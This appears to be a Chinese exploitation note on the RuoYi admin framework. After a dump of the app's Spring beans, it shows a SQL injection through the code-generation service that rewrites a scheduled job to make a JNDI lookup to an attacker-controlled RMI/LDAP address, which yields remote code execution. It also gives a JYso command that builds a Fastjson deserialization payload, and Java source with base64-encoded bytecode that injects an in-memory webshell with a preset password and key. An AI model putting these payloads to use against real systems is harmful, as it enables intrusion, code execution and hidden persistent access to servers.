"spring.jdbc-org.springframework.boot.autoconfigure.jdbc.JdbcProperties" -> "org.springframework.boot.autoconfigure.jdbc.JdbcProperties"
"cachingOperationReader" -> "springfox.documentation.spring.web.scanners.CachingOperationReader"
"swaggerResponseMessageReader" -> "springfox.documentation.swagger.readers.operation.SwaggerResponseMessageReader"
"transactionAttributeSource" -> "org.springframework.transaction.annotation.AnnotationTransactionAttributeSource"
"defaultModelDependencyProvider" -> "springfox.documentation.schema.DefaultModelDependencyProvider"
"dict" -> "com.ruoyi.framework.web.service.DictService"
"transactionManager" -> "org.springframework.jdbc.support.JdbcTransactionManager"
"errorPageCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$ErrorPageCustomizer"
"apiOperationReader" -> "springfox.documentation.spring.web.readers.operation.ApiOperationReader"
"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration"
"sysRegisterController" -> "com.ruoyi.web.controller.system.SysRegisterController"
"tomcatWebServerFactoryCustomizer" -> "org.springframework.boot.autoconfigure.web.embedded.TomcatWebServerFactoryCustomizer"
"sysDictDataServiceImpl" -> "com.ruoyi.system.service.impl.SysDictDataServiceImpl"
"operationModelsProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"openApiModule" -> "springfox.documentation.oas.configuration.OpenApiJacksonModule"
"viewNameTranslator" -> "org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator"
"org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration" -> "org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration"
"sysJobLogMapper" -> "com.sun.proxy.$Proxy303"
"mediaTypeReader" -> "springfox.documentation.spring.web.scanners.MediaTypeReader"
"operationResponseClassReader" -> "springfox.documentation.spring.web.readers.operation.OperationResponseClassReader"
"swagger2ControllerWebMvc" -> "springfox.documentation.swagger2.web.Swagger2ControllerWebMvc"
"cachingOperationNameGenerator" -> "springfox.documentation.spring.web.readers.operation.CachingOperationNameGenerator"
"demoOperateController" -> "com.ruoyi.web.controller.demo.controller.DemoOperateController"
"dispatcherServletRegistration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletRegistrationBean"
"sysMenuMapper" -> "com.sun.proxy.$Proxy283"
"expanderPattern" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterPatternAnnotationPlugin"
"sysMenuServiceImpl" -> "com.ruoyi.system.service.impl.SysMenuServiceImpl"
"serverController" -> "com.ruoyi.web.controller.monitor.ServerController$$EnhancerBySpringCGLIB$$fe7bf21f"
"operationParameterHeadersConditionReader" -> "springfox.documentation.spring.web.readers.operation.OperationParameterHeadersConditionReader"
"descriptionResolver" -> "springfox.documentation.spring.web.DescriptionResolver"
"tomcatServletWebServerFactory" -> "org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory"
"org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration" -> "org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration"
"liveReloadServerEventListener" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$LiveReloadServerEventListener"
"spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties" -> "org.springframework.boot.autoconfigure.jackson.JacksonProperties"
"operationParameterRequestConditionReader" -> "springfox.documentation.spring.web.readers.operation.OperationParameterRequestConditionReader"
"error" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$StaticView"
"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration"
"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration"
"operationNotesReader" -> "springfox.documentation.swagger.readers.operation.OperationNotesReader"
"webMvcOpenApiTransformer" -> "springfox.documentation.oas.web.WebMvcBasePathAndHostnameTransformationFilter"
"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration"
"decimalMinMaxPlugin" -> "springfox.bean.validators.plugins.schema.DecimalMinMaxAnnotationPlugin"
"org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration"
"cachingModelDependencyProvider" -> "springfox.documentation.schema.CachingModelDependencyProvider"
"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$TransactionTemplateConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$TransactionTemplateConfiguration"
"sysNoticeController" -> "com.ruoyi.web.controller.system.SysNoticeController$$EnhancerBySpringCGLIB$$cbdbf78f"
"defaultValidator" -> "org.springframework.validation.beanvalidation.LocalValidatorFactoryBean"
"welcomePageHandlerMapping" -> "org.springframework.boot.autoconfigure.web.servlet.WelcomePageHandlerMapping"
"sysLogininforServiceImpl" -> "com.ruoyi.system.service.impl.SysLogininforServiceImpl"
"com.alibaba.druid.spring.boot.autoconfigure.stat.DruidFilterConfiguration" -> "com.alibaba.druid.spring.boot.autoconfigure.stat.DruidFilterConfiguration"
"org.mybatis.spring.boot.autoconfigure.MybatisAutoConfiguration" -> "org.mybatis.spring.boot.autoconfigure.MybatisAutoConfiguration$$EnhancerBySpringCGLIB$$8caaf85f"
"jacksonObjectMapper" -> "com.fasterxml.jackson.databind.ObjectMapper"
"shiroConfig" -> "com.ruoyi.framework.config.ShiroConfig$$EnhancerBySpringCGLIB$$3871d2aa"
"apiDocumentationScanner" -> "springfox.documentation.spring.web.scanners.ApiDocumentationScanner"
"parameterDefaultReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterDefaultReader"
"schemaMapperImpl" -> "springfox.documentation.oas.mappers.SchemaMapperImpl"
"modelSpecificationFactory" -> "springfox.documentation.schema.property.ModelSpecificationFactory"
"sqlSessionTemplate" -> "org.mybatis.spring.SqlSessionTemplate"

看js得到版本

以后碰见若依用这个就行了 ,若果不行就是>4.7.8

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 1;')

hex改成你的jdni地址的hex就行了

高版本jdk直接用 我的工具起一个恶意ldap去hook一下返回流就行了

image-20241027002808213

1
2
生成恶意bin
java -jar JYso-1.3.4-all.jar -y -g Fastjson1 -p "open ." -f fj.bn

内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
//加密器: JAVA_AES_BASE64
//密码: Azlvjmc
//密钥: Fbwgkux
//请求路径: /*
//请求头: Referer: Kpziyci
//脚本类型: JSP
//http://127.0.0.1:8088/favicon.ico

package com.ruoyi;


import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class fj {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception{
byte[] decode = Base64.getDecoder().decode("yv66vgAAADEBSAEAKG9yZy9zcHJpbmdmcmFtZXdvcmsvaXovU2VyaWFsaXphdGlvblV0aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQANZ2V0VXJsUGF0dGVybgEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3NwcmluZ2ZyYW1ld29yay9pei9TZXJpYWxpemF0aW9uVXRpbDsBAAIvKggADAEADGdldENsYXNzTmFtZQEAMm9yZy5hcGFjaGUubG9nZ2luZy5XZWJTb2NrZXRVcGdyYWRlT2t1a0ludGVyY2VwdG9yCAAPAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBABBqYXZhL2xhbmcvU3RyaW5nBwAVAQ9ESDRzSUFBQUFBQUFBQUpWWENWd2MxUjMrSHJzd3k3SW1FUklpSmpHSG1pd3NzQ1FpU2NBRFNGQXdMSWtoRWtuYTJtRVpsZzNMN2pvN3kyWFVXby9hTTYyMWh6MXNtN2FtUjJ5ajBRVk0xZlJRVzN2Wnc5clcxbDcyMU5yMHJxMkszNXVaWFJaWVRQcjd3Y3pzZS8veisxL3ZQZjdLQXc4QldDOThBaHRpZXNpdnh0Vmd2K2FQeEVLaGNEVGszNjMxZE1hQ0E1cHhSVHlrcTczYTlvSGtRRnZVMFBTZ0ZqZGl1Z0loc0dTZk9xVDZJeXJKdDBUVVJLSTlSa0p1T1FRMlNwR0p1RTVSZmJvNnFBM0g5QUgvc05ialQyajZVRVF6L0UySjBXaXdWWTMyUmpSOWh0eDhnWUlMd3RHd2NaR0F3MXZlSmVEY0V1dlZCQmEyaDZOYVIzS3dSOU4zcVQwUnJoUzN4NEpxcEV2VncvSzN2ZWcwK3NNSmdkcjIvOStwQmc4VXVOeHdZb0hBbWQ3Mm5PNDFTSlBFbU1EU2VmYWxrRVZTU0FscHBrazZEUWxHY3pJY01URmE0a2FwVk9PTWsxTzZNcHVTY3M1QVdTSHljQ1lSVWVOeExkb3JVT1dkUzFnK1o4bldRaEhMc1VJcU9vdFlEbWlqSHF5eVJLNFdjQmt4aTFoZ3NYZXVDUEtlalhNazc3bmtIZXc5WDJEdEtla200enA0M1ZSU0xyOU1kY3d4Y1RuenhidTN1WHcyYWcwQ2VjRWVQdlkyQ3hUMWFuMk1zcmxCOUVqZjFqYVh3NFAxMkNBUlBvOXlSd1FVMHUwcGwvd2wwNlF0SXpLbzRWaFV3VWFTQmFuZUZEVGlEK3FqakxaL1N6amVUNHdZZ2lGVnIwMXZ6MkxtdHFBbFlwRC9leFRVMkNwbUNWSFFKSEJhcDZFR0J3SnEzRTVFUjFOTHB3dGI2VlJJTTlxaUNVT05CcmxjUGkrS3N5M3o0QkpjNmtZeldnVld6aUJJeExXZ3YxTUw2cHF4VFJ2dDVDOEZsd2tzbWkxWVFUc0RUZlhObzRaR041eGVvdVJCQjdhN0VjQU9DK0VjNW5USkhON3B4alowa2trV295UnRzeWdUV2pDcGg0MVJQMVdicEZlZ1MxcTVtNEhvalYwU2pxb1JKcXdNdGRUVmpUMXljNjlBWVZ6WHJJSVg2UFhhSHFmYlFiOWh4UDJ0ZkhSYUN6dTFxNU5hd21nNEtWa2lIb3NtdElZc0o3YjM3Tk9DUmtQNUhvRlYwNnRXQUl5d0txT2FsUnRYemFTS1JMU1FHbWtLQnJWRUlvdEtaZmo3WmxhcHJZWWI5Q2M3cGp1MXZnaDN3a1BhOXJpbXo5VFhJRXRaMTdjbkNlaEtpeWNjODh2b05PbTZPc3IxZU5KZ0ZEUjFrS1JLZ2xhUWl5Yk9qNE5KSWJPNFZ6Vm9wcUpieUFtc08wV0ltU0c2RFdQYWtWTUFuSnI2cmU0dGNOWnJHNmZnYW9GelQ4a1lCY3pTdGFkbWdvTGtqSlMzQXFKZ1dHREZheUtyWU5SV2N2S0FLYmhHd04ydnljN2V3VG5td2JWV1M3dU9DYzNDYWpWM1BIZ1R2RVV3Y0FPcjNTTHVVaU5KVXQ5b1VkOUVrSU94cUtHR28zUncyWXpSMHEvcW5kSjdkZ2NtclFlMzRDMnlPbStsWGlyb1RLZkFHbS81eVpMQWc3Zmg3ZEtNZHdoNHlMdERsYVBYa1BhOXk3THZBSzN1cWF2ZHFnWE5rVnFhcXhmSnFuMFBicE1kL0wwZW5JODYrZlUreGp1dWprWTQ0bHo0Z0NXK3lTQkhUOUxRVGo0YTdHTHg0QTU4cUFnNlBteTFKYnZQbDNoejlmaVA0azQzUnZBeFR2NVptd28rSWJBZ3pXK05YWUd5dVZJeUUvbVQrSlFiQi9GcDZVcUpCMVdvbGwrZm9SK0pHWDZzeStGSGp0YkNwdmM1ZkY0NmNwaFJpcWRoVHJqd0JZbnlZVGZHNUd3dmltckQwNDEvNXBUTklISXZqa3JUN3VPSkl5c2xrMnhWZzFwV0dxWUV6c2cyYmxlL0hodVdnOGJ1MWhOdWpHT1M3WVdwcEVZU2N0am02b2tlSE1PWEpLd1BXdm03bTUxY2dyYzBiUnlMWmdmZHRqZG8zOE00WG9RaGZKbjBpV1JQd2o0eWxIcG5EdWJNN1A4cXZpYXo5NUgwTEo0cFQ4RmpBdm5EOG51V2hWbWo1eHQ0M0kydjQ1dlNUQjQraW94WXBvdzkrSTZjWFdQNExrUFhveWEwdXRxV2FEcVhaeDR1TWhaOUQ5K1h3ZjZCVkRpZnpVOUttMy9FV0dZUUo0SXJaczI3QU10TURXbGJ3eUdyYlRvNGZ2a01iRDNmaGFkWjFhOUJyZURuQXV2bkw1SjVkTWdUd0MvY2VBYS9aR0FqV2pSazlKdUg0allQZm8zZlNKdWY1VVl5enRhdldjY2dSb1VJL2c2L2wxeC9ZTktaNGdkVm85L2ZIQTdKczI1SVJ1RlBaT3MxZFhqd3ZFVDBHZnhaRHUwMlltaW0wMS9jZUE0bjVCbndTZm4xTnpNTVYvQVFxbThoNmg3OFE1NE5BL2dudFZvQllBNFZXQUVST0QzSEdVOGVzdXA0eXVzaHNQbERzam5hemJzNmFZUWoxYzBtcXdzdlUyQmZ6R3kxbkJrbjZTcnBUakhGd09HZ0VGYkh0TzF4Q1Y1RGl2Zk9JVmRFdnBYNkFjM29qL0ZJM1poRHkxeTJiTDI2TlREOGxvUUdqMUNFU3hwUXlLVGZPN2ZxRkZIRTRwMlBYUkduRWJwd2RDZzJRSmMzNTZqYUhDSnpkUkt4VUN4eWl3WGlkUFpHemNSZ2wzM0Nkd2xlUlVvVHlXajFZRGdSckc1dTZteEoxdzFoV2lLYmh2bkRKWmJLTTV4bXgxT0NhVTBLVXNsTGlMWGpFc3ZuU3N2UThhYmhzZWlhazMxOWNtVVZlLzBGd1loOXBWT2F4aUpEK3dhRExuRTJFK0M4OWVyNnVwcSt6ZWZWYk42d29YZHpuVXV3NEJVT1pFMlhyT3Y0WTF0OExEd2FETHRFT1ZhempKMmdJY2hIb2J4YjhBTHJrcmNrODczS2ZBczVvTTMzamVhN2tGKzgxUEZaeUY5TmxDRDRMcWtZeDhLS0V1RzlIOWZ6VlhFL2JyNkh5M25NSTBCMkMvRG1WSXdWS09LWHgyTGgrelJUTUs5M3RyZ0lLU1Z0VFlWdkhJdG55anVHMHU1eExMMFh5MUpZZVMvVzhKbkMyZ2xVSEVYbHRLNEZjUEM1aXRKWHc0ODFwcjVTUzZhdFQzNmRUbHQ0MEpSenk5WjhJWUdRVklVVlBvZnZvWEhVSHNtSUxERE5YWnNscWpBanFwQktha3hSbk91MnFLZkk0ZVRiVjl3eWdiYU9xdVYzUUhFZWdqUC9HTFoxbTRaZlh0d3lqbDBwWEZubFMrRjFSenJFRVZNRnIzbllSUHZkcHFKOFBpc3Bxb3BlVkhQSGozS3Fra2JVY3ErQXE1dFJUK3B5bXRTQUMweS9mUm5EZlBTb3hwVHF3MFc0bURSYitFMnFLU3lFVTBHZWdrYWg4Q0loSDFQY3lsN2pSN09Zd2xJNDdFVkp0WW5TWG84M1VCS2R6UE9ZS1FPYzhGWGNoK3NuOGVZOFBJcG5wMy93NCtZVTNub0hudkJONHAwQzlVNGZJemVKZCtkaEFyZlg1MWVVNVR0U2VIOTlmcG16K0lPVCtFZ2VIc01hK1gwTWVkMFZLWHc4aGJ2R2NhZ3NQNFhQVHVKdUJ3N2hKbC94Rjh2eUozSEV3Wms3eGx5NHA3NGd3MzBjQjFPNHYxNDVoSVgxcm1NWTd5NXpqZU9CaDh1VXNvSVVIdHBkcHZqa3EzSVNYeEU4SVZRNkZpMUs0ZEVVdmxXbXBQQnRlNzFDMGo3aHBGa1QrQ0gzTXRTUytDa3VPQTQ3RDh1aktnN2dOcnpSZnZmWUVkdUp4WHpXTWU4Mk1pYWIrTnlNUmthb25kRVpZRFNTak1OMUxKZ0QyRXF1WnR6T2lOeUpGdHlGUzNFM1dua3VhTU1qdUF4UDg1YjRQRWZCQzlodVJydVAwZzlRUnhDOXJKVGIrVXZqbW91eW9naWhuNWx3SnkrZzFtNDVKWVN4aittM2thZVhBV2FBektJVG1hdzR3UW9iTkxQaUJMbGpaaktmUUp5OERqTS82cEQvTWdZVWNLSTFUakhsRlRQK25MWkRDa2FzWllXSEJXYkQvcGRReExVWEVYaVI4bjRzRTRqdlRXWWI4ZHFGd0p3M3M3Skd0QmYvYkFLL0NsUXlzSmM3K1BodENuODhodWU2blpVcHZEQ092MHFBLzU3Q3Y5ckpFdkRKYW1BR01mUFQxWEFXZlFOMmNiV0xudS9HRWx6Si9UMms2R1p0N0RWeFdrVmFGNnZpSXZ6RXJ2Y0x6WWFWUjRxZjhrdVlIcFlnYjRwczlDckFQeXV2YVN6UE5GWmlpNERaRFlIOU5QcVZDWkVYcUN3UlRuRmNGS1NFdTVKdlQwb1VkMVF4UVV2RVl1ZURPTmp0S0c3czVGNFZmNHgwT3lyNFhYd2NBWHJTMEZFaVNrMEpNak9kWlU2VDZZeHNwakxuSEs1OFZzb1JzdzFlekNUWlJLT1RQTGFsZ2RqQVVBSlhjYmVIemdiWlZIdEpGeUdsUnNvUTA2Y2ZPNWdDU1FaL2hJa3d4bkJMY0ZvSjRISWVQdjV0aHRyRnRQd1BYcVNVSFRqWFhIT1NzOXBlMjhMaythL2RVUGJqZndSU2dqaUdseklnbHNzMllyYUp4alNJVTJ5QVR2dTMyU3Y0bUowWnZBVFpJSGZiSU4rYUJmS3kzQ0N2c1BFS3pBVzUwZm9qYUUyRWV1VWNxRmRuczg2Q2VwcDNHdkFXd3JTSlZYZ0RicG9GK05YY1RSSzJJWUk0VExyclNUbEN5akVDZUExemNqOTVyaVBYdGJ4czNwQUZlTGtvc3dGdnRNSHRnczljYzVLejFsNXJZNmFtQWIrVmdGdFpld3NCcjhrR3ZOWE8ya1liOEFZSnVQazdOK0F1c1NZenAxdk1rcUNnRW5IT1VTd3JFV3VQWXMzSkpxcklURzhQYmZMaVRPQlZHQytNcytZV0FBQT0IABcBAAY8aW5pdD4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABkAGgoAFgAbAQADKClWAQAHY29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAC2ludGVyY2VwdG9yDAAZAB0KAAQAIQEACmdldENvbnRleHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAIwAkCgACACUBAA5nZXRJbnRlcmNlcHRvcgwAJwAkCgACACgBAA5hZGRJbnRlcmNlcHRvcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAKgArCgACACwBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAuAQARcmVxdWVzdEF0dHJpYnV0ZXMBAAtodHRwcmVxdWVzdAEAB3Nlc3Npb24BAA5zZXJ2bGV0Q29udGV4dAEAE2FwcGxpY2F0aW9uQ29udGV4dHMBABlMamF2YS91dGlsL0xpbmtlZEhhc2hTZXQ7AQASYXBwbGljYXRpb25Db250ZXh0AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcAOQEAEGphdmEvbGFuZy9PYmplY3QHADsBAA1TdGFja01hcFRhYmxlAQAQamF2YS9sYW5nL1RocmVhZAcAPgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwAQABBCgA/AEIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7DABEAEUKAD8ARgEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcggASAEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMAEoASwoAOgBMAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMIAE4BAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAUABRCgACAFIBAApnZXRSZXF1ZXN0CABUAQAKZ2V0U2Vzc2lvbggAVgEAEWdldFNlcnZsZXRDb250ZXh0CABYAQBCb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5zdXBwb3J0LldlYkFwcGxpY2F0aW9uQ29udGV4dFV0aWxzCABaAQAYZ2V0V2ViQXBwbGljYXRpb25Db250ZXh0CABcAQAPamF2YS9sYW5nL0NsYXNzBwBeAQAcamF2YXguc2VydmxldC5TZXJ2bGV0Q29udGV4dAgAYAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAUABiCgACAGMBADFvcmcuc3ByaW5nZnJhbWV3b3JrLmNvbnRleHQuc3VwcG9ydC5MaXZlQmVhbnNWaWV3CABlAQALbmV3SW5zdGFuY2UMAGcAJAoAXwBoCAA0AQAFZ2V0RlYMAGsAUQoAAgBsAQAXamF2YS91dGlsL0xpbmtlZEhhc2hTZXQHAG4BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsMAHAAcQoAbwByAQASamF2YS91dGlsL0l0ZXJhdG9yBwB0AQAEbmV4dAwAdgAkCwB1AHcBADVvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5jb250ZXh0LldlYkFwcGxpY2F0aW9uQ29udGV4dAgAeQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAewB8CgA8AH0BABBpc0Fzc2lnbmFibGVGcm9tAQAUKExqYXZhL2xhbmcvQ2xhc3M7KVoMAH8AgAoAXwCBAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAIMBACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCFAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgcAhwEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCJAQATamF2YS9sYW5nL1Rocm93YWJsZQcAiwEACWNsYXp6Qnl0ZQEAAltCAQALZGVmaW5lQ2xhc3MBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247DAAOAAYKAAIAlQwAEQAGCgACAJcBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDACZAJoKAAIAmwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDACdAJ4KAAIAnwgAjwcAjgEAEWphdmEvbGFuZy9JbnRlZ2VyBwCjAQAEVFlQRQwApQCSCQCkAKYBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAKgAqQoAXwCqAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwCsAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAK4ArwoArQCwAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMALIAswoApAC0AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAC2ALcKAK0AuAEAFmFic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAHZ2V0QmVhbggAvwEAHHJlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcIAMEIALsBABNqYXZhL3V0aWwvQXJyYXlMaXN0BwDEAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDADGAMcKAMUAyAEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCADQAQAHZm9yTmFtZQwA0gBLCgBfANMBAAxkZWNvZGVCdWZmZXIIANUBAAlnZXRNZXRob2QMANcAqQoAXwDYAQAQamF2YS51dGlsLkJhc2U2NAgA2gEACmdldERlY29kZXIIANwBAAZkZWNvZGUIAN4BAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwDqAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQcA7AEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtBwDuCgDrACEBAAUoW0IpVgwAGQDxCgDtAPIBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMABkA9AoA7wD1AQAEcmVhZAEABShbQilJDAD3APgKAO8A+QEABXdyaXRlAQAHKFtCSUkpVgwA+wD8CgDrAP0BAAt0b0J5dGVBcnJheQEABCgpW0IMAP8BAAoA6wEBAQAFc2V0RlYBADkoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBAAR2YXIwAQAEdmFyMQEAA3ZhbAEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAQgBCQoAAgEKAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAQwBAANzZXQMAQ4AKwoBDQEPAQADb2JqAQAJZmllbGROYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgENALABAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBFgEXCgENARgBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HARoBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAR0BHgoAXwEfAQANZ2V0U3VwZXJjbGFzcwwBIQB8CgBfASIKARsAGwEADHRhcmdldE9iamVjdAEACm1ldGhvZE5hbWUBAAFpAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzBwEpAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMATMBNAoAXwE1AQAHZ2V0TmFtZQwBNwAGCgCtATgBAAZ